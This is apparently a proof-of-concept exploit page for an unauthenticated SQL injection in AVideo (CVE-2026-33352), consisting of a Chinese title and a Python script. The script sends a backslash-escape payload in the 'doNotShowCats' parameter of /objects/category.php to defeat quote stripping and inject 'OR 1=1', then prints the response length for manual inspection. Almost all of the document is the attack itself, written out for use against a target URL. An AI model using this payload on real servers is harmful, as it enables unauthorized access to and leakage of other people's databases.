CVE-2026-33352 AVideo未认证SQL注入漏洞

import requests def check_sqli(url): # Target endpoint based on vulnerability description target = f"{url}/objects/category.php" # The vulnerability lies in the 'doNotShowCats' parameter. # The application strips single quotes (') using str_replace. # We use a backslash (\) to escape the closing quote in the SQL query. # Conceptual SQL: SELECT * FROM categories WHERE doNotShowCats = '[INPUT]' # Payload: \ OR 1=1-- # After filter: \ OR 1=1-- # Resulting SQL: SELECT ... WHERE doNotShowCats = '\' OR 1=1--' # The backslash escapes the quote, injecting the OR condition. payload = "\\ OR 1=1--" params = { "doNotShowCats": payload } try: print(f"[+] Sending request to {target}") response = requests.get(target, params=params, timeout=10) # Analyze response to confirm injection (e.g., specific data or error) if response.status_code == 200: print("[+] Request sent successfully. Check response manually for data leakage or errors.") print(f"[+] Response length: {len(response.text)}") return True else: print("[-] Unexpected status code.") return False except Exception as e: print(f"Error: {e}") return False # Example usage # check_sqli("http://target-avideo-server.com")